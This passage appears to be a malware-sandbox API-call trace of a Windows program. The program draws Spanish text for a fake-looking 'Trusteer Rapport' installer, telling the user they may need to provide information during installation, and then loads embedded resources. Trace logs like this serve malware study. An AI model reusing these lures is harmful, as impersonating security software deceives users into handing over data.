	[0118.340] FlatSB_SetScrollInfo (param_1=0x2022c, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.341] FlatSB_SetScrollProp (param_1=0x2022c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.341] FlatSB_SetScrollProp (param_1=0x2022c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.341] FlatSB_SetScrollInfo (param_1=0x2022c, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.341] __SEH_epilog4_GS () returned 0x1
	[0118.343] __SEH_epilog4_GS () returned 0x1
	[0118.345] FlatSB_SetScrollProp (param_1=0x2022c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.345] FlatSB_SetScrollProp (param_1=0x2022c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.345] FlatSB_SetScrollInfo (param_1=0x2022c, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.346] FlatSB_SetScrollProp (param_1=0x2022c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.346] FlatSB_SetScrollProp (param_1=0x2022c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.346] FlatSB_SetScrollInfo (param_1=0x2022c, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.347] __SEH_epilog4_GS () returned 0x1
	[0118.347] FreeResource (hResData=0x12a62e4) returned 0
	[0118.347] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.347] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Arial", cchCount1=5, lpString2="Default", cchCount2=7) returned 1
	[0118.347] CreateFontIndirectA (lplf=0x19fbbc) returned 0x1f0a075c
	[0118.347] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.347] UnrealizeObject (h=0x1b100652) returned 1
	[0118.347] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.347] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.347] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.347] DrawTextExA (in: hdc=0xa0100d0, lpchText="Instalación de software Trusteer Rapport", cchText=40, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalación de software Trusteer Rapport", lprc=0x19fc59) returned 24
	[0118.413] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0118.413] GdiReleaseDC () returned 0x1
	[0118.413] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.413] NtUserGetDC () returned 0xa0100d0
	[0118.413] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.413] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Tahoma", cchCount1=6, lpString2="Default", cchCount2=7) returned 3
	[0118.413] CreateFontIndirectA (lplf=0x19fbbc) returned 0x130a073b
	[0118.414] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.414] UnrealizeObject (h=0x1b100652) returned 1
	[0118.414] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.414] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.414] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.414] DrawTextExA (in: hdc=0xa0100d0, lpchText="Instalando...", cchText=13, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalando...", lprc=0x19fc59) returned 14
	[0118.431] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0118.431] GdiReleaseDC () returned 0x1
	[0118.431] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0118.433] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPanel", lpwcx=0x19f788 | out: lpwcx=0x19f788) returned 0
	[0118.433] _memset (in: _Dst=0x19f794, _Val=0, _Size=0x2c | out: _Dst=0x19f794) returned 0x19f794
	[0118.433] RegisterClassExWOWA () returned 0xc171
	[0118.433] CreateWindowInternal () 
	[0118.433] _SetWindowLong () returned 0x449074
	[0118.439] GetClassInfoExA (in: hInstance=0x400000, lpszClass="EDIT", lpwcx=0x19f760 | out: lpwcx=0x19f760) returned 1
	[0118.439] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TEdit", lpwcx=0x19f778 | out: lpwcx=0x19f778) returned 0
	[0118.439] _memset (in: _Dst=0x19f784, _Val=0, _Size=0x2c | out: _Dst=0x19f784) returned 0x19f784
	[0118.439] RegisterClassExWOWA () returned 0xc172
	[0118.439] CreateWindowInternal () 
	[0118.439] _SetWindowLong () returned 0x449074
	[0118.457] CreateBrushIndirect (plbrush=0x19ec80) returned 0x610074d
	[0118.460] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="Tfb_bv", wLanguage=0x0) returned 0x529ce0
	[0118.460] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="Tfb_bv", wLanguage=0x0) returned 0x529ce0
	[0118.460] LoadResource (hModule=0x400000, hResInfo=0x529ce0) returned 0x883c14
	[0118.460] SizeofResource (hModule=0x400000, hResInfo=0x529ce0) returned 0x1e7aab
	[0118.460] LockResource (hResData=0x883c14) returned 0x883c14
	[0118.473] RtlLockHeap (Heap=0x230000) returned 1
	[0118.473] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0050) returned 1
	[0118.473] RtlRestoreLastWin32Error () returned 0x0
	[0118.475] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.475] UnrealizeObject (h=0x1b100652) returned 1
	[0118.476] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.476] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.476] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.476] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.476] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Instalación de software Trusteer Rapport", len=0x28 | out: pbstr=0x19f808*="Instalación de software Trusteer Rapport") returned 1
	[0118.476] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.476] UnrealizeObject (h=0x1b100652) returned 1
	[0118.476] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.476] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.476] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.477] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.477] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0118.477] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.477] UnrealizeObject (h=0x1b100652) returned 1
	[0118.477] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.477] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.477] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.478] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.478] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Por favor espere hasta que el proceso de instalación termine.", len=0x3d | out: pbstr=0x19f808*="Por favor espere hasta que el proceso de instalación termine.") returned 1
	[0118.481] RtlLockHeap (Heap=0x230000) returned 1
	[0118.481] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0050) returned 1
	[0118.481] RtlRestoreLastWin32Error () returned 0x0
	[0118.481] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.481] UnrealizeObject (h=0x1b100652) returned 1
	[0118.481] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.482] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.482] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.482] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.490] RtlLockHeap (Heap=0x230000) returned 1
	[0118.490] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0050) returned 1
	[0118.490] RtlRestoreLastWin32Error () returned 0x0
	[0118.491] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.491] UnrealizeObject (h=0x1b100652) returned 1
	[0118.491] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.491] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.491] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.491] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.491] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x721a2a0, szCSDVersion="\x88¢!\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.491] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.491] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x722ede0 | out: lpData=0x722ede0) returned 1
	[0118.491] VerQueryValueA (in: pBlock=0x722ede0, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x722ee08, puLen=0x19f7e4) returned 1
	[0118.492] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.497] RtlLockHeap (Heap=0x230000) returned 1
	[0118.497] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0050) returned 1
	[0118.497] RtlRestoreLastWin32Error () returned 0x0
	[0118.498] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.498] UnrealizeObject (h=0x1b100652) returned 1
	[0118.498] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.498] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.498] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.498] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.499] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x43e68a, szCSDVersion="\n") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.499] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.499] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7230e38 | out: lpData=0x7230e38) returned 1
	[0118.499] VerQueryValueA (in: pBlock=0x7230e38, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7230e60, puLen=0x19f7e4) returned 1
	[0118.499] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.504] RtlLockHeap (Heap=0x230000) returned 1
	[0118.504] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0050) returned 1
	[0118.504] RtlRestoreLastWin32Error () returned 0x0
	[0118.505] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x7232ac8, szCSDVersion="\x04*#\x07Ä") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.505] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.505] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7232f14 | out: lpData=0x7232f14) returned 1
	[0118.505] VerQueryValueA (in: pBlock=0x7232f14, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7232f3c, puLen=0x19f7e4) returned 1
	[0118.505] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.505] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.505] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.506] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7233118 | out: lpData=0x7233118) returned 1
	[0118.506] VerQueryValueA (in: pBlock=0x7233118, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7233140, puLen=0x19f7e4) returned 1
	[0118.506] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.512] FlatSB_SetScrollProp (param_1=0x20224, index=0x100, newValue=0x0, param_4=1) returned 0
	[0118.512] FlatSB_SetScrollProp (param_1=0x20224, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.512] FlatSB_SetScrollInfo (param_1=0x20224, code=1, psi=0x19e5f6, fRedraw=1) returned 0
	[0118.513] FlatSB_SetScrollProp (param_1=0x20224, index=0x200, newValue=0x0, param_4=1) returned 0
	[0118.513] FlatSB_SetScrollProp (param_1=0x20224, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.513] FlatSB_SetScrollInfo (param_1=0x20224, code=0, psi=0x19e5f6, fRedraw=1) returned 0
	[0118.517] FlatSB_SetScrollProp (param_1=0x20224, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.517] FlatSB_SetScrollProp (param_1=0x20224, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.517] FlatSB_SetScrollInfo (param_1=0x20224, code=1, psi=0x19f002, fRedraw=1) returned 0
	[0118.518] FlatSB_SetScrollProp (param_1=0x20224, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.518] FlatSB_SetScrollProp (param_1=0x20224, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.518] FlatSB_SetScrollInfo (param_1=0x20224, code=0, psi=0x19f002, fRedraw=1) returned 0
	[0118.522] FlatSB_SetScrollProp (param_1=0x20224, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.522] FlatSB_SetScrollProp (param_1=0x20224, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.522] FlatSB_SetScrollInfo (param_1=0x20224, code=1, psi=0x19f9ae, fRedraw=1) returned 0
	[0118.523] FlatSB_SetScrollProp (param_1=0x20224, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.523] FlatSB_SetScrollProp (param_1=0x20224, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.523] FlatSB_SetScrollInfo (param_1=0x20224, code=0, psi=0x19f9ae, fRedraw=1) returned 0
	[0118.528] GetTextExtentPoint32A (in: hdc=0xa010691, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0118.531] FlatSB_SetScrollProp (param_1=0x20224, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.531] FlatSB_SetScrollProp (param_1=0x20224, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.531] FlatSB_SetScrollInfo (param_1=0x20224, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.532] FlatSB_SetScrollProp (param_1=0x20224, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.532] FlatSB_SetScrollProp (param_1=0x20224, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.533] FlatSB_SetScrollInfo (param_1=0x20224, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.537] FlatSB_SetScrollProp (param_1=0x20224, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.537] FlatSB_SetScrollProp (param_1=0x20224, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.537] FlatSB_SetScrollInfo (param_1=0x20224, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.538] FlatSB_SetScrollProp (param_1=0x20224, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.538] FlatSB_SetScrollProp (param_1=0x20224, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.538] FlatSB_SetScrollInfo (param_1=0x20224, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.539] FreeResource (hResData=0x883c14) returned 0
	[0118.539] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.539] UnrealizeObject (h=0x1b100652) returned 1
	[0118.539] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.539] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.539] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.539] DrawTextExA (in: hdc=0xa0100d0, lpchText="Instalación de software Trusteer Rapport", cchText=40, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalación de software Trusteer Rapport", lprc=0x19fc59) returned 24
	[0118.539] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.539] UnrealizeObject (h=0x1b100652) returned 1
	[0118.539] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.539] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.539] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.540] DrawTextExA (in: hdc=0xa0100d0, lpchText="Instalando...", cchText=13, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalando...", lprc=0x19fc59) returned 14
	[0118.571] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Tahoma", cchCount1=6, lpString2="Default", cchCount2=7) returned 3
	[0118.590] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSnt", wLanguage=0x0) returned 0x529d60
	[0118.590] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfSnt", wLanguage=0x0) returned 0x529d60
	[0118.590] LoadResource (hModule=0x400000, hResInfo=0x529d60) returned 0x1667830
	[0118.590] SizeofResource (hModule=0x400000, hResInfo=0x529d60) returned 0x1f85dd
	[0118.590] LockResource (hResData=0x1667830) returned 0x1667830
	[0118.603] RtlLockHeap (Heap=0x230000) returned 1
	[0118.603] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0058) returned 1
	[0118.603] RtlRestoreLastWin32Error () returned 0x0
	[0118.613] RtlLockHeap (Heap=0x230000) returned 1
	[0118.613] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0058) returned 1
	[0118.613] RtlRestoreLastWin32Error () returned 0x0
	[0118.619] RtlLockHeap (Heap=0x230000) returned 1
	[0118.619] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0058) returned 1
	[0118.619] RtlRestoreLastWin32Error () returned 0x0
	[0118.620] CreatePenIndirect (plpen=0x19f580) returned 0x10300764
	[0118.620] SetROP2 (hdc=0x12010760, rop2=13) returned 13
	[0118.620] CreateBrushIndirect (plbrush=0x19f584) returned 0x1810075f
	[0118.620] CreatePenIndirect (plpen=0x19f578) returned 0x5300776
	[0118.620] SetROP2 (hdc=0x12010760, rop2=13) returned 13
	[0118.620] UnrealizeObject (h=0x1b100652) returned 1
	[0118.620] SelectObject (hdc=0x12010760, h=0x1b100652) returned 0x1900015
	[0118.620] SetBkColor (hdc=0x12010760, color=0xffffff) returned 0xff00ff
	[0118.620] SetBkMode (hdc=0x12010760, mode=2) returned 2
	[0118.620] RoundRect (hdc=0x12010760, left=0, top=0, right=521, bottom=25, width=6, height=6) returned 1
	[0118.620] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Verdana", cchCount1=7, lpString2="Default", cchCount2=7) returned 3
	[0118.621] GetTextExtentPoint32A (in: hdc=0x12010760, lpString="0%", c=2, psizl=0x19f5b8 | out: psizl=0x19f5b8) returned 1
	[0118.635] GetTextExtentPoint32A (in: hdc=0x12010760, lpString="0%", c=2, psizl=0x19f5b4 | out: psizl=0x19f5b4) returned 1
	[0118.635] CreateBrushIndirect (plbrush=0x19f584) returned 0x1900015
	[0118.635] ExtTextOutA (hdc=0x12010760, x=250, y=4, options=0x0, lprect=0x0, lpString="0%", c=0x2, lpDx=0x0) returned 1
	[0118.635] GetTextExtentPoint32A (in: hdc=0x12010760, lpString="0%", c=2, psizl=0x19f5a0 | out: psizl=0x19f5a0) returned 1
	[0118.635] MoveToEx (in: hdc=0x12010760, x=271, y=4, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.636] FlatSB_SetScrollProp (param_1=0x2021c, index=0x100, newValue=0x0, param_4=1) returned 0
	[0118.636] FlatSB_SetScrollProp (param_1=0x2021c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.636] FlatSB_SetScrollInfo (param_1=0x2021c, code=1, psi=0x19e26e, fRedraw=1) returned 0
	[0118.636] FlatSB_SetScrollProp (param_1=0x2021c, index=0x200, newValue=0x0, param_4=1) returned 0
	[0118.636] FlatSB_SetScrollProp (param_1=0x2021c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.636] FlatSB_SetScrollInfo (param_1=0x2021c, code=0, psi=0x19e26e, fRedraw=1) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollInfo (param_1=0x2021c, code=1, psi=0x19ec7a, fRedraw=1) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollInfo (param_1=0x2021c, code=0, psi=0x19ec7a, fRedraw=1) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollInfo (param_1=0x2021c, code=1, psi=0x19f62a, fRedraw=1) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollProp (param_1=0x2021c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.637] FlatSB_SetScrollInfo (param_1=0x2021c, code=0, psi=0x19f62a, fRedraw=1) returned 0
	[0118.639] SetViewportOrgEx (in: hdc=0xa010691, x=16, y=240, lppt=0x0 | out: lppt=0x0) returned 1
	[0118.639] IntersectClipRect (hdc=0xa010691, left=0, top=0, right=521, bottom=25) returned 3
	[0118.639] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0118.639] UnrealizeObject (h=0x1b100652) returned 1
	[0118.639] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0118.639] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0118.639] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0118.639] GetDeviceCaps (hdc=0xa010691, index=12) returned 32
	[0118.639] GetDeviceCaps (hdc=0xa010691, index=14) returned 1
	[0118.639] SetStretchBltMode (hdc=0xa010691, mode=3) returned 1
	[0118.639] SetROP2 (hdc=0x1d010778, rop2=13) returned 13
	[0118.640] UnrealizeObject (h=0x1900015) returned 1
	[0118.640] SelectObject (hdc=0x1d010778, h=0x1900015) returned 0x1900010
	[0118.640] SetBkColor (hdc=0x1d010778, color=0xff000000) returned 0xffffff
	[0118.640] SetBkMode (hdc=0x1d010778, mode=1) returned 2
	[0118.640] CreateCompatibleDC (hdc=0x0) returned 0x15010760
	[0118.640] SelectObject (hdc=0x15010760, h=0xe050777) returned 0x185000f
	[0118.640] CreateCompatibleBitmap (hdc=0x1d010778, cx=1, cy=1) returned 0x405077f
	[0118.640] SelectObject (hdc=0x15010760, h=0x405077f) returned 0xe050777
	[0118.640] MaskBlt (hdcDest=0xa010691, xDest=0, yDest=0, width=521, height=25, hdcSrc=0x1d010778, xSrc=0, ySrc=0, hbmMask=0xe050777, xMask=0, yMask=0, rop=0xccaa0029) returned 1
	[0118.640] SelectObject (hdc=0x15010760, h=0xe050777) returned 0x405077f
	[0118.640] DeleteObject (ho=0x405077f) returned 1
	[0118.640] SelectObject (hdc=0x15010760, h=0x185000f) returned 0xe050777
	[0118.640] DeleteDC (hdc=0x15010760) returned 1
	[0118.641] RtlLockHeap (Heap=0x230000) returned 1
	[0118.641] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0058) returned 1
	[0118.641] RtlRestoreLastWin32Error () returned 0x0
	[0118.641] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.641] UnrealizeObject (h=0x1b100652) returned 1
	[0118.641] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.641] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.641] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.641] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.645] RtlLockHeap (Heap=0x230000) returned 1
	[0118.645] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0058) returned 1
	[0118.645] RtlRestoreLastWin32Error () returned 0x0
	[0118.645] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.645] UnrealizeObject (h=0x1b100652) returned 1
	[0118.645] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.645] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.645] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.645] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.646] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.646] UnrealizeObject (h=0x1b100652) returned 1
	[0118.646] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.646] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.646] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.646] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
